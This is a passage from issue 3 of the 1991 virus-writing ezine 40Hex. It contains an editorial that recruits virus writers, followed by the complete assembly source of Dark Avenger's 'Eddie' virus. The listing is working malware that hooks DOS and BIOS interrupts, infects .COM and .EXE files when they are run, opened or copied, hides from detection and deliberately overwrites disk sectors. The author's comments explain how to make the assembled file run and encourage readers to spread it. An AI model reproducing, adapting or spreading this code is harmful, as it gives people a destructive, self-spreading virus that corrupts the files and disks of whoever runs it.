3560 lines
115 KiB
Plaintext
3560 lines
115 KiB
Plaintext
40Hex Issue 3 0000
|
||
|
||
Contents
|
||
--------
|
||
|
||
A Word From Hellraiser.......................................0001
|
||
The Dark Avenger Source......................................0002
|
||
Anthrax......................................................0003
|
||
The 40Hex Challenge/The Strange Case of Validate.............0004
|
||
Application for SKISM........................................0005
|
||
Virus News For October/91....................................0006
|
||
The Darth Vader Virus Strain B...............................0007
|
||
Mystery Virus................................................0008
|
||
Tiny-F Source................................................0009
|
||
Afterwords...................................................0010
|
||
|
||
Staff
|
||
-----
|
||
|
||
Hellraiser...............Editor/Writer/Programmer/Tech. Consultant
|
||
Garbage Heap.....................Writer/Spell Checker/Distribution
|
||
|
||
Special Thanks to... Demogorgan, Dark Angel, Count Zero, Piff',
|
||
Paragon Dude, The Fisch, Gambit, Punisher,
|
||
Nuclear Warhead, Ironlord (and the rest of
|
||
the alliance people all our freinds in PA, CT,
|
||
and all over the world, and most of all our
|
||
readers for your support.
|
||
|
||
|
||
SKISM distribution sites as of 10/91
|
||
|
||
Jihad - 1-(408)-XXX-XXXX : California
|
||
The Night Eyes BBS - 1-(717)-367-3501 : Pennsylvania
|
||
The Punishment Due BBS - 1-(203)-675-???? : Connecticut * DOWN *
|
||
|
||
|
||
|
||
|
||
|
||
40Hex Issue 3 0001
|
||
|
||
- Gray would be the color, if I had a heart.
|
||
|
||
|
||
Well what's up. Sorry about the delay with issue three
|
||
but there's been a lot of stuff going down. I've been
|
||
working on a lot of semi-legit projects and all that so
|
||
I haven't gotten around to 40Hex till now.
|
||
|
||
Anyway, first big news is this. SKISM has now co-oped
|
||
with the New York based group PHALCON, thus broadening
|
||
both groups span of diversity. SKISM being an all virus
|
||
group and PHALCON dealing with mainly h/p.
|
||
|
||
Secondly, SKISM is hoping to broaden its membership a
|
||
bit. We are looking for a few good virus writers.
|
||
Mainly what we need is some people who are very good
|
||
at assembly code and first and foremost virus writing.
|
||
Lame bomb writers, Q-Basic coders and such need not apply.
|
||
We are not just looking for IBM coders, as we are also
|
||
broading to Mac and Amiga.
|
||
|
||
Thirdly, SKISM gained a new HQ in PA., it is called Night
|
||
Eyes BBS. The number is (717)-367-3501, supporting
|
||
12/24/96/14.4 baud rates.
|
||
|
||
Finally, The Landfill BBS, whos number is listed as the
|
||
SKISM HQ in issue two, is no longer our HQ. Although
|
||
we are still on very good terms with the staff of that
|
||
BBS, please refrain from calling it with virus related
|
||
topics (they are no-longer h/p, just Amiga wares). Any-
|
||
way the new New York SKISM base should be up and running
|
||
by tops October. It will be called Hell On Earth and I
|
||
myself will be sysop.
|
||
|
||
Well enjoy...
|
||
|
||
- Hellraiser
|
||
|
||
|
||
|
||
-- Appendum --
|
||
|
||
Well about three days after writing this artical I found out
|
||
that I am being shipped to California. This sucks...
|
||
|
||
Well looks like Hell On Earth will be up out there instead of
|
||
New York.
|
||
|
||
Call our home boards to keep in touch with the situation. I
|
||
can still be left mail on Night Eyes.
|
||
|
||
|
||
-- Appendum B --
|
||
10/25/91
|
||
|
||
Well, it's been over a month since I wrote the above. Nothing
|
||
much has changed since then. I'm in CA. now and without a
|
||
system. Phalcon members have been going off -- mostly Dark Angel,
|
||
who has a new virus coming out, Bob Ross. I hope I can get it
|
||
for this issue.
|
||
|
||
Anyway, in other news The Punishment Due - Skism distribution
|
||
site has gone down. I am looking for other BBS's to add the
|
||
collection to.
|
||
|
||
More news... There is another Hell On Earth BBS out there so
|
||
it looks like I am going to have to change the name of my
|
||
BBS, when I get my system. Ironically I am concidering having
|
||
the other Hell On Earth as a Skism distribution site.
|
||
|
||
Even more news... I have been getting a lot of shit cause
|
||
of my name. There seems to be other Hellraisers out there,
|
||
who claim they were the first... Fuck you all! I had the name
|
||
since 1989, when I read Clive Barkers novella - "The Hellbound
|
||
Heart." If you had it before then, its yours. However after
|
||
calling a lot of boards nationally lately I never had a problem
|
||
logging on due to my name. Shows how lame people are.
|
||
|
||
Well thats it for now... Hope this issue will be out shortly.
|
||
|
||
|
||
40Hex Issue 3 0002
|
||
|
||
The Dark Avenger
|
||
|
||
- We are demons to some, angels to others.
|
||
|
||
Well, here it is. Here is the first major virus source, from the
|
||
man who brought us such greats as V2000, Anthrax, and V2100 to name
|
||
a few. Well this Bulgarian metal lover was nice enough to freely
|
||
distribute the source code to his first virus.
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
; "Blessed is he who expects nothing, for he shall not be disappointed."
|
||
|
||
; The original source of one of the first Bulgarian viruses is in front of
|
||
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
|
||
; the virus has spread surprisingly quickly troughout the country and made a
|
||
; quick round the globe. (It's well-known in Eastern and Western Europe, as
|
||
; well as in USA.) Due to the aniversary of its creation, the source is
|
||
; distributed freely. You have the rights to distribute the source which can
|
||
; be charged or free of charge, with the only condition not to modify it.
|
||
; The one, who intentionaly distributes this source modified in any way will
|
||
; be punished! Still, the author will be glad if any of you improves it and
|
||
; spreads the resulting executive file (i.e., the virus itself). Pay
|
||
; attention to the fact that after you assemble the source, the resulting
|
||
; .COM-file cannot be run. For that purpose you have to create a three-byte
|
||
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
|
||
; two files. Don't try to place a JMP at the beginning of the source.
|
||
|
||
; DISCLAIMER: The author does not take any responsability for any damage,
|
||
; either direct or implied, caused by the usage or not of this source or of
|
||
; the resulting code after assembly. No warrant is made about the product
|
||
; functionability or quality.
|
||
|
||
; I cannot resist to express my special gratitude to my "populazer" Dipl.
|
||
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
|
||
; not, helps very much in the spreading of my viruses, in spite of the fact
|
||
; that he tries to do just the opposite (writing programs in C has never
|
||
; led to any good).
|
||
; Greetings to all virus writers!
|
||
|
||
code segment
|
||
assume cs:code,ds:code
|
||
copyright:
|
||
db 'Eddie lives...somewhere in time!',0
|
||
date_stamp:
|
||
dd 12239000h
|
||
checksum:
|
||
db 30
|
||
|
||
; Return the control to an .EXE file:
|
||
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
|
||
|
||
|
||
|
||
|
||
|
||
exit_exe:
|
||
mov bx,es
|
||
add bx,10h
|
||
add bx,word ptr cs:[si+call_adr+2]
|
||
mov word ptr cs:[si+patch+2],bx
|
||
mov bx,word ptr cs:[si+call_adr]
|
||
mov word ptr cs:[si+patch],bx
|
||
mov bx,es
|
||
add bx,10h
|
||
add bx,word ptr cs:[si+stack_pointer+2]
|
||
mov ss,bx
|
||
mov sp,word ptr cs:[si+stack_pointer]
|
||
db 0eah ;JMP XXXX:YYYY
|
||
patch:
|
||
dd 0
|
||
|
||
; Returns control to a .COM file:
|
||
; Restores the first 3 bytes in the
|
||
; beginning of the file, loads SP and IP.
|
||
|
||
exit_com:
|
||
|
||
|
||
|
||
|
||
mov di,100h
|
||
add si,offset my_save
|
||
movsb
|
||
movsw
|
||
mov sp,ds:[6] ;This is incorrect
|
||
xor bx,bx
|
||
push bx
|
||
jmp [si-11] ;si+call_adr-top_file
|
||
|
||
; Program entry point
|
||
|
||
startup:
|
||
call relative
|
||
relative:
|
||
pop si ;SI = $
|
||
sub si,offset relative
|
||
cld
|
||
cmp word ptr cs:[si+my_save],5a4dh
|
||
je exe_ok
|
||
cli
|
||
mov sp,si ;A separate stack is supported for
|
||
add sp,offset top_file+100h ;the .COM files, in order not to
|
||
sti ;overlap the stack by the program
|
||
cmp sp,ds:[6]
|
||
jnc exit_com
|
||
exe_ok:
|
||
push ax
|
||
push es
|
||
push si
|
||
push ds
|
||
mov di,si
|
||
|
||
; Looking for the address of INT 13h handler in ROM-BIOS
|
||
|
||
xor ax,ax
|
||
push ax
|
||
mov ds,ax
|
||
les ax,ds:[13h*4]
|
||
mov word ptr cs:[si+fdisk],ax
|
||
mov word ptr cs:[si+fdisk+2],es
|
||
mov word ptr cs:[si+disk],ax
|
||
mov word ptr cs:[si+disk+2],es
|
||
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
|
||
cmp ax,0f000h ;for diskettes if a hard disk is
|
||
jne nofdisk ;available
|
||
mov word ptr cs:[si+disk+2],ax
|
||
mov ax,ds:[40h*4]
|
||
mov word ptr cs:[si+disk],ax
|
||
mov dl,80h
|
||
mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
|
||
cmp ax,0f000h ;where the original INT 13h vector is
|
||
je isfdisk
|
||
cmp ah,0c8h
|
||
jc nofdisk
|
||
cmp ah,0f4h
|
||
jnc nofdisk
|
||
test al,7fh
|
||
jnz nofdisk
|
||
mov ds,ax
|
||
cmp ds:[0],0aa55h
|
||
jne nofdisk
|
||
mov dl,ds:[2]
|
||
isfdisk:
|
||
mov ds,ax
|
||
xor dh,dh
|
||
mov cl,9
|
||
shl dx,cl
|
||
mov cx,dx
|
||
xor si,si
|
||
findvect:
|
||
lodsw ;Occasionally begins with:
|
||
cmp ax,0fa80h ; CMP DL,80h
|
||
jne altchk ; JNC somewhere
|
||
lodsw
|
||
cmp ax,7380h
|
||
je intchk
|
||
jne nxt0
|
||
altchk:
|
||
cmp ax,0c2f6h ;or with:
|
||
jne nxt ; TEST DL,80h
|
||
lodsw ; JNZ somewhere
|
||
cmp ax,7580h
|
||
jne nxt0
|
||
intchk:
|
||
inc si ;then there is:
|
||
lodsw ; INT 40h
|
||
cmp ax,40cdh
|
||
je found
|
||
sub si,3
|
||
nxt0:
|
||
dec si
|
||
dec si
|
||
nxt:
|
||
dec si
|
||
loop findvect
|
||
jmp short nofdisk
|
||
found:
|
||
sub si,7
|
||
mov word ptr cs:[di+fdisk],si
|
||
mov word ptr cs:[di+fdisk+2],ds
|
||
nofdisk:
|
||
mov si,di
|
||
pop ds
|
||
|
||
; Check whether the program is present in memory:
|
||
|
||
les ax,ds:[21h*4]
|
||
mov word ptr cs:[si+save_int_21],ax
|
||
mov word ptr cs:[si+save_int_21+2],es
|
||
push cs
|
||
pop ds
|
||
cmp ax,offset int_21
|
||
jne bad_func
|
||
xor di,di
|
||
mov cx,offset my_size
|
||
scan_func:
|
||
lodsb
|
||
scasb
|
||
jne bad_func
|
||
loop scan_func
|
||
pop es
|
||
jmp go_program
|
||
|
||
; Move the program to the top of memory:
|
||
; (it's full of rubbish and bugs here)
|
||
|
||
bad_func:
|
||
pop es
|
||
mov ah,49h
|
||
int 21h
|
||
mov bx,0ffffh
|
||
mov ah,48h
|
||
int 21h
|
||
sub bx,(top_bz+my_bz+1ch-1)/16+2
|
||
jc go_program
|
||
mov cx,es
|
||
stc
|
||
adc cx,bx
|
||
mov ah,4ah
|
||
int 21h
|
||
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
|
||
stc
|
||
sbb es:[2],bx
|
||
push es
|
||
mov es,cx
|
||
mov ah,4ah
|
||
int 21h
|
||
mov ax,es
|
||
dec ax
|
||
mov ds,ax
|
||
mov word ptr ds:[1],8
|
||
call mul_16
|
||
mov bx,ax
|
||
mov cx,dx
|
||
pop ds
|
||
mov ax,ds
|
||
call mul_16
|
||
add ax,ds:[6]
|
||
adc dx,0
|
||
sub ax,bx
|
||
sbb dx,cx
|
||
jc mem_ok
|
||
sub ds:[6],ax ;Reduction of the segment size
|
||
mem_ok:
|
||
pop si
|
||
push si
|
||
push ds
|
||
push cs
|
||
xor di,di
|
||
mov ds,di
|
||
lds ax,ds:[27h*4]
|
||
mov word ptr cs:[si+save_int_27],ax
|
||
mov word ptr cs:[si+save_int_27+2],ds
|
||
pop ds
|
||
mov cx,offset aux_size
|
||
rep movsb
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
|
||
mov ds:[21h*4+2],es
|
||
mov ds:[27h*4],offset int_27
|
||
mov ds:[27h*4+2],es
|
||
mov word ptr es:[filehndl],ax
|
||
pop es
|
||
go_program:
|
||
pop si
|
||
|
||
; Smash the next disk sector:
|
||
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:[13h*4]
|
||
mov word ptr cs:[si+save_int_13],ax
|
||
mov ax,ds:[13h*4+2]
|
||
mov word ptr cs:[si+save_int_13+2],ax
|
||
mov ds:[13h*4],offset int_13
|
||
add ds:[13h*4],si
|
||
mov ds:[13h*4+2],cs
|
||
pop ds
|
||
push ds
|
||
push si
|
||
mov bx,si
|
||
lds ax,ds:[2ah]
|
||
xor si,si
|
||
mov dx,si
|
||
scan_envir: ;Fetch program's name
|
||
lodsw ;(with DOS 2.x it doesn't work anyway)
|
||
dec si
|
||
test ax,ax
|
||
jnz scan_envir
|
||
add si,3
|
||
lodsb
|
||
|
||
; The following instruction is a complete nonsense. Try to enter a drive &
|
||
; directory path in lowercase, then run an infected program from there.
|
||
; As a result of an error here + an error in DOS the next sector is not
|
||
; smashed. Two memory bytes are smashed instead, most probably onto the
|
||
; infected program.
|
||
|
||
sub al,'A'
|
||
mov cx,1
|
||
push cs
|
||
pop ds
|
||
add bx,offset int_27
|
||
push ax
|
||
push bx
|
||
push cx
|
||
int 25h
|
||
pop ax
|
||
pop cx
|
||
pop bx
|
||
inc byte ptr [bx+0ah]
|
||
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
|
||
jnz store_sec ;nothing is not enough for some.
|
||
mov al,[bx+10h]
|
||
xor ah,ah
|
||
mul word ptr [bx+16h]
|
||
add ax,[bx+0eh]
|
||
push ax
|
||
mov ax,[bx+11h]
|
||
mov dx,32
|
||
mul dx
|
||
div word ptr [bx+0bh]
|
||
pop dx
|
||
add dx,ax
|
||
mov ax,[bx+8]
|
||
add ax,40h
|
||
cmp ax,[bx+13h]
|
||
jc store_new
|
||
inc ax
|
||
and ax,3fh
|
||
add ax,dx
|
||
cmp ax,[bx+13h]
|
||
jnc small_disk
|
||
store_new:
|
||
mov [bx+8],ax
|
||
store_sec:
|
||
pop ax
|
||
xor dx,dx
|
||
push ax
|
||
push bx
|
||
push cx
|
||
int 26h
|
||
|
||
|
||
; The writing trough this interrupt is not the smartest thing, bacause it
|
||
; can be intercepted (what Vesselin Bontchev has managed to notice).
|
||
|
||
pop ax
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
cmp byte ptr [bx+0ah],0
|
||
jne not_now
|
||
mov dx,[bx+8]
|
||
pop bx
|
||
push bx
|
||
int 26h
|
||
small_disk:
|
||
pop ax
|
||
not_now:
|
||
pop si
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,word ptr cs:[si+save_int_13]
|
||
mov ds:[13h*4],ax
|
||
mov ax,word ptr cs:[si+save_int_13+2]
|
||
mov ds:[13h*4+2],ax
|
||
pop ds
|
||
pop ax
|
||
cmp word ptr cs:[si+my_save],5a4dh
|
||
jne go_exit_com
|
||
jmp exit_exe
|
||
go_exit_com:
|
||
jmp exit_com
|
||
int_24:
|
||
mov al,3 ;This instruction seems unnecessary
|
||
iret
|
||
|
||
; INT 27h handler (this is necessary)
|
||
|
||
int_27:
|
||
pushf
|
||
call alloc
|
||
popf
|
||
jmp dword ptr cs:[save_int_27]
|
||
|
||
; During the DOS functions Set & Get Vector it seems that the virus has not
|
||
; intercepted them (this is a doubtfull advantage and it is a possible
|
||
; source of errors with some "intelligent" programs)
|
||
|
||
set_int_27:
|
||
mov word ptr cs:[save_int_27],dx
|
||
mov word ptr cs:[save_int_27+2],ds
|
||
popf
|
||
iret
|
||
set_int_21:
|
||
mov word ptr cs:[save_int_21],dx
|
||
mov word ptr cs:[save_int_21+2],ds
|
||
popf
|
||
iret
|
||
get_int_27:
|
||
les bx,dword ptr cs:[save_int_27]
|
||
popf
|
||
iret
|
||
get_int_21:
|
||
les bx,dword ptr cs:[save_int_21]
|
||
popf
|
||
iret
|
||
|
||
exec:
|
||
|
||
|
||
call do_file
|
||
call alloc
|
||
popf
|
||
jmp dword ptr cs:[save_int_21]
|
||
|
||
db 'Diana P.',0
|
||
|
||
; INT 21h handler. Infects files during execution, copying, browsing or
|
||
; creating and some other operations. The execution of functions 0 and 26h
|
||
; has bad consequences.
|
||
|
||
int_21:
|
||
push bp
|
||
mov bp,sp
|
||
push [bp+6]
|
||
popf
|
||
pop bp
|
||
pushf
|
||
call ontop
|
||
cmp ax,2521h
|
||
je set_int_21
|
||
cmp ax,2527h
|
||
je set_int_27
|
||
cmp ax,3521h
|
||
je get_int_21
|
||
cmp ax,3527h
|
||
je get_int_27
|
||
cld
|
||
cmp ax,4b00h
|
||
je exec
|
||
cmp ah,3ch
|
||
je create
|
||
cmp ah,3eh
|
||
je close
|
||
cmp ah,5bh
|
||
jne not_create
|
||
create:
|
||
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
|
||
jne dont_touch
|
||
call see_name
|
||
jnz dont_touch
|
||
call alloc
|
||
popf
|
||
call function
|
||
jc int_exit
|
||
pushf
|
||
push es
|
||
push cs
|
||
pop es
|
||
push si
|
||
push di
|
||
push cx
|
||
push ax
|
||
mov di,offset filehndl
|
||
stosw
|
||
mov si,dx
|
||
mov cx,65
|
||
move_name:
|
||
lodsb
|
||
stosb
|
||
test al,al
|
||
jz all_ok
|
||
loop move_name
|
||
mov word ptr es:[filehndl],cx
|
||
all_ok:
|
||
pop ax
|
||
pop cx
|
||
pop di
|
||
pop si
|
||
pop es
|
||
go_exit:
|
||
popf
|
||
jnc int_exit ;JMP
|
||
close:
|
||
cmp bx,word ptr cs:[filehndl]
|
||
jne dont_touch
|
||
test bx,bx
|
||
jz dont_touch
|
||
call alloc
|
||
popf
|
||
call function
|
||
jc int_exit
|
||
pushf
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
push dx
|
||
mov dx,offset filehndl+2
|
||
call do_file
|
||
mov word ptr cs:[filehndl],0
|
||
pop dx
|
||
pop ds
|
||
jmp go_exit
|
||
not_create:
|
||
cmp ah,3dh
|
||
je touch
|
||
cmp ah,43h
|
||
je touch
|
||
cmp ah,56h ;Unfortunately, the command inter-
|
||
jne dont_touch ;preter does not use this function
|
||
touch:
|
||
call see_name
|
||
jnz dont_touch
|
||
call do_file
|
||
dont_touch:
|
||
call alloc
|
||
popf
|
||
call function
|
||
int_exit:
|
||
pushf
|
||
push ds
|
||
call get_chain
|
||
mov byte ptr ds:[0],'Z'
|
||
pop ds
|
||
popf
|
||
dummy proc far ;???
|
||
ret 2
|
||
dummy endp
|
||
|
||
; Checks whether the file is .COM or .EXE.
|
||
; It is not called upon file execution.
|
||
|
||
see_name:
|
||
push ax
|
||
push si
|
||
mov si,dx
|
||
scan_name:
|
||
lodsb
|
||
test al,al
|
||
jz bad_name
|
||
cmp al,'.'
|
||
jnz scan_name
|
||
call get_byte
|
||
mov ah,al
|
||
call get_byte
|
||
cmp ax,'co'
|
||
jz pos_com
|
||
cmp ax,'ex'
|
||
jnz good_name
|
||
call get_byte
|
||
cmp al,'e'
|
||
jmp short good_name
|
||
pos_com:
|
||
call get_byte
|
||
cmp al,'m'
|
||
jmp short good_name
|
||
bad_name:
|
||
inc al
|
||
good_name:
|
||
pop si
|
||
pop ax
|
||
ret
|
||
|
||
; Converts into lowercase (the subroutines are a great thing).
|
||
|
||
get_byte:
|
||
lodsb
|
||
cmp al,'C'
|
||
jc byte_got
|
||
cmp al,'Y'
|
||
jnc byte_got
|
||
add al,20h
|
||
byte_got:
|
||
ret
|
||
|
||
; Calls the original INT 21h.
|
||
|
||
function:
|
||
pushf
|
||
call dword ptr cs:[save_int_21]
|
||
ret
|
||
|
||
; Arrange to infect an executable file.
|
||
|
||
do_file:
|
||
push ds ;Save the registers in stack
|
||
push es
|
||
push si
|
||
push di
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
mov si,ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
|
||
push es ;and changes them with what is needed
|
||
push ax
|
||
mov ds:[24h*4],offset int_24
|
||
mov ds:[24h*4+2],cs
|
||
les ax,ds:[13h*4]
|
||
mov word ptr cs:[save_int_13],ax
|
||
mov word ptr cs:[save_int_13+2],es
|
||
mov ds:[13h*4],offset int_13
|
||
mov ds:[13h*4+2],cs
|
||
push es
|
||
push ax
|
||
mov ds,si
|
||
xor cx,cx ;Arranges to infect Read-only files
|
||
mov ax,4300h
|
||
call function
|
||
mov bx,cx
|
||
and cl,0feh
|
||
cmp cl,bl
|
||
je dont_change
|
||
mov ax,4301h
|
||
call function
|
||
stc
|
||
dont_change:
|
||
pushf
|
||
push ds
|
||
push dx
|
||
push bx
|
||
mov ax,3d02h ;Now we can safely open the file
|
||
call function
|
||
jc cant_open
|
||
mov bx,ax
|
||
call disease
|
||
mov ah,3eh ;Close it
|
||
|
||
call function
|
||
cant_open:
|
||
pop cx
|
||
pop dx
|
||
pop ds
|
||
popf
|
||
jnc no_update
|
||
mov ax,4301h ;Restores file's attributes
|
||
call function ;if they were changed (just in case)
|
||
no_update:
|
||
xor ax,ax ;Restores INT 13h and INT 24h
|
||
mov ds,ax
|
||
pop ds:[13h*4]
|
||
pop ds:[13h*4+2]
|
||
pop ds:[24h*4]
|
||
pop ds:[24h*4+2]
|
||
pop dx ;Register restoration
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop di
|
||
pop si
|
||
pop es
|
||
pop ds
|
||
ret
|
||
|
||
; This routine is the working horse.
|
||
|
||
disease:
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov dx,offset top_save ;Read the file beginning
|
||
mov cx,18h
|
||
mov ah,3fh
|
||
int 21h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4202h ;Save file length
|
||
int 21h
|
||
mov word ptr [top_save+1ah],dx
|
||
cmp ax,offset my_size ;This should be top_file
|
||
sbb dx,0
|
||
jc stop_fuck_2 ;Small files are not infected
|
||
mov word ptr [top_save+18h],ax
|
||
cmp word ptr [top_save],5a4dh
|
||
jne com_file
|
||
mov ax,word ptr [top_save+8]
|
||
add ax,word ptr [top_save+16h]
|
||
call mul_16
|
||
add ax,word ptr [top_save+14h]
|
||
adc dx,0
|
||
mov cx,dx
|
||
mov dx,ax
|
||
jmp short see_sick
|
||
com_file:
|
||
cmp byte ptr [top_save],0e9h
|
||
jne see_fuck
|
||
mov dx,word ptr [top_save+1]
|
||
add dx,103h
|
||
jc see_fuck
|
||
dec dh
|
||
xor cx,cx
|
||
|
||
; Check if the file is properly infected
|
||
|
||
|
||
see_sick:
|
||
sub dx,startup-copyright
|
||
sbb cx,0
|
||
mov ax,4200h
|
||
int 21h
|
||
add ax,offset top_file
|
||
adc dx,0
|
||
cmp ax,word ptr [top_save+18h]
|
||
jne see_fuck
|
||
cmp dx,word ptr [top_save+1ah]
|
||
jne see_fuck
|
||
mov dx,offset top_save+1ch
|
||
mov si,dx
|
||
mov cx,offset my_size
|
||
mov ah,3fh
|
||
int 21h
|
||
jc see_fuck
|
||
cmp cx,ax
|
||
jne see_fuck
|
||
xor di,di
|
||
next_byte:
|
||
|
||
lodsb
|
||
scasb
|
||
jne see_fuck
|
||
loop next_byte
|
||
stop_fuck_2:
|
||
ret
|
||
see_fuck:
|
||
xor cx,cx ;Seek to the end of file
|
||
xor dx,dx
|
||
mov ax,4202h
|
||
int 21h
|
||
cmp word ptr [top_save],5a4dh
|
||
je fuck_exe
|
||
add ax,offset aux_size+200h ;Watch out for too big .COM files
|
||
adc dx,0
|
||
je fuck_it
|
||
ret
|
||
|
||
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
|
||
|
||
fuck_exe:
|
||
mov dx,word ptr [top_save+18h]
|
||
neg dl
|
||
and dx,0fh
|
||
xor cx,cx
|
||
mov ax,4201h
|
||
int 21h
|
||
mov word ptr [top_save+18h],ax
|
||
mov word ptr [top_save+1ah],dx
|
||
fuck_it:
|
||
mov ax,5700h ;Get file's date
|
||
int 21h
|
||
pushf
|
||
push cx
|
||
push dx
|
||
cmp word ptr [top_save],5a4dh
|
||
je exe_file ;Very clever, isn't it?
|
||
mov ax,100h
|
||
jmp short set_adr
|
||
exe_file:
|
||
mov ax,word ptr [top_save+14h]
|
||
mov dx,word ptr [top_save+16h]
|
||
set_adr:
|
||
mov di,offset call_adr
|
||
stosw
|
||
mov ax,dx
|
||
stosw
|
||
mov ax,word ptr [top_save+10h]
|
||
stosw
|
||
mov ax,word ptr [top_save+0eh]
|
||
stosw
|
||
mov si,offset top_save ;This offers the possibilities to
|
||
movsb ;some nasty programs to restore
|
||
movsw ;exactly the original length
|
||
xor dx,dx ;of the .EXE files
|
||
mov cx,offset top_file
|
||
mov ah,40h
|
||
int 21h ;Write the virus
|
||
jc go_no_fuck ;(don't trace here)
|
||
xor cx,ax
|
||
jnz go_no_fuck
|
||
mov dx,cx
|
||
mov ax,4200h
|
||
int 21h
|
||
cmp word ptr [top_save],5a4dh
|
||
je do_exe
|
||
mov byte ptr [top_save],0e9h
|
||
mov ax,word ptr [top_save+18h]
|
||
add ax,startup-copyright-3
|
||
mov word ptr [top_save+1],ax
|
||
mov cx,3
|
||
jmp short write_header
|
||
go_no_fuck:
|
||
jmp short no_fuck
|
||
|
||
; Construct the .EXE file's header
|
||
|
||
do_exe:
|
||
call mul_hdr
|
||
not ax
|
||
not dx
|
||
inc ax
|
||
jne calc_offs
|
||
inc dx
|
||
calc_offs:
|
||
add ax,word ptr [top_save+18h]
|
||
adc dx,word ptr [top_save+1ah]
|
||
mov cx,10h
|
||
div cx
|
||
mov word ptr [top_save+14h],startup-copyright
|
||
mov word ptr [top_save+16h],ax
|
||
add ax,(offset top_file-offset copyright-1)/16+1
|
||
mov word ptr [top_save+0eh],ax
|
||
mov word ptr [top_save+10h],100h
|
||
add word ptr [top_save+18h],offset top_file
|
||
adc word ptr [top_save+1ah],0
|
||
mov ax,word ptr [top_save+18h]
|
||
and ax,1ffh
|
||
mov word ptr [top_save+2],ax
|
||
pushf
|
||
mov ax,word ptr [top_save+19h]
|
||
shr byte ptr [top_save+1bh],1
|
||
rcr ax,1
|
||
popf
|
||
jz update_len
|
||
inc ax
|
||
update_len:
|
||
mov word ptr [top_save+4],ax
|
||
mov cx,18h
|
||
write_header:
|
||
mov dx,offset top_save
|
||
mov ah,40h
|
||
int 21h ;Write the file beginning
|
||
no_fuck:
|
||
pop dx
|
||
pop cx
|
||
popf
|
||
jc stop_fuck
|
||
mov ax,5701h ;Restore the original file date
|
||
int 21h
|
||
stop_fuck:
|
||
ret
|
||
|
||
; The following is used by the INT 21h and INT 27h handlers in connection
|
||
; to the program hiding in memory from those who don't need to see it.
|
||
; The whole system is absurde and meaningless and it is also another source
|
||
; for program conflicts.
|
||
|
||
alloc:
|
||
push ds
|
||
call get_chain
|
||
mov byte ptr ds:[0],'M'
|
||
pop ds
|
||
|
||
; Assures that the program is the first one in the processes,
|
||
; which have intercepted INT 21h (yet another source of conflicts).
|
||
|
||
ontop:
|
||
push ds
|
||
push ax
|
||
push bx
|
||
push dx
|
||
xor bx,bx
|
||
mov ds,bx
|
||
lds dx,ds:[21h*4]
|
||
cmp dx,offset int_21
|
||
jne search_segment
|
||
mov ax,ds
|
||
mov bx,cs
|
||
cmp ax,bx
|
||
je test_complete
|
||
|
||
; Searches the segment of the sucker who has intercepted INT 21h, in
|
||
; order to find where it has stored the old values and to replace them.
|
||
; Nothing is done for INT 27h.
|
||
|
||
xor bx,bx
|
||
search_segment:
|
||
mov ax,[bx]
|
||
cmp ax,offset int_21
|
||
jne search_next
|
||
mov ax,cs
|
||
cmp ax,[bx+2]
|
||
je got_him
|
||
search_next:
|
||
inc bx
|
||
jne search_segment
|
||
je return_control
|
||
got_him:
|
||
mov ax,word ptr cs:[save_int_21]
|
||
mov [bx],ax
|
||
mov ax,word ptr cs:[save_int_21+2]
|
||
mov [bx+2],ax
|
||
mov word ptr cs:[save_int_21],dx
|
||
mov word ptr cs:[save_int_21+2],ds
|
||
xor bx,bx
|
||
|
||
; Even if he has not saved them in the same segment, this won't help him.
|
||
|
||
return_control:
|
||
mov ds,bx
|
||
mov ds:[21h*4],offset int_21
|
||
mov ds:[21h*4+2],cs
|
||
test_complete:
|
||
pop dx
|
||
pop bx
|
||
pop ax
|
||
pop ds
|
||
ret
|
||
|
||
; Fetch the segment of the last MCB
|
||
|
||
get_chain:
|
||
push ax
|
||
push bx
|
||
mov ah,62h
|
||
call function
|
||
mov ax,cs
|
||
dec ax
|
||
dec bx
|
||
next_blk:
|
||
mov ds,bx
|
||
stc
|
||
adc bx,ds:[3]
|
||
cmp bx,ax
|
||
jc next_blk
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
; Multiply by 16
|
||
|
||
mul_hdr:
|
||
mov ax,word ptr [top_save+8]
|
||
mul_16:
|
||
mov dx,10h
|
||
mul dx
|
||
ret
|
||
|
||
db 'This program was written in the city of Sofia '
|
||
db '(C) 1988-89 Dark Avenger',0
|
||
|
||
; INT 13h handler.
|
||
; Calls the original vectors in BIOS, if it's a writing call
|
||
|
||
int_13:
|
||
cmp ah,3
|
||
jnz subfn_ok
|
||
cmp dl,80h
|
||
jnc hdisk
|
||
db 0eah ;JMP XXXX:YYYY
|
||
my_size: ;--- Up to here comparison
|
||
disk: ; with the original is made
|
||
dd 0
|
||
hdisk:
|
||
db 0eah ;JMP XXXX:YYYY
|
||
fdisk:
|
||
dd 0
|
||
subfn_ok:
|
||
db 0eah ;JMP XXXX:YYYY
|
||
save_int_13:
|
||
dd 0
|
||
call_adr:
|
||
dd 100h
|
||
|
||
stack_pointer:
|
||
dd 0 ;The original value of SS:SP
|
||
my_save:
|
||
int 20h ;The original contents of the first
|
||
nop ;3 bytes of the file
|
||
top_file: ;--- Up to here the code is written
|
||
filehndl equ $ ; in the files
|
||
filename equ filehndl+2 ;Buffer for the name of the opened file
|
||
save_int_27 equ filename+65 ;Original INT 27h vector
|
||
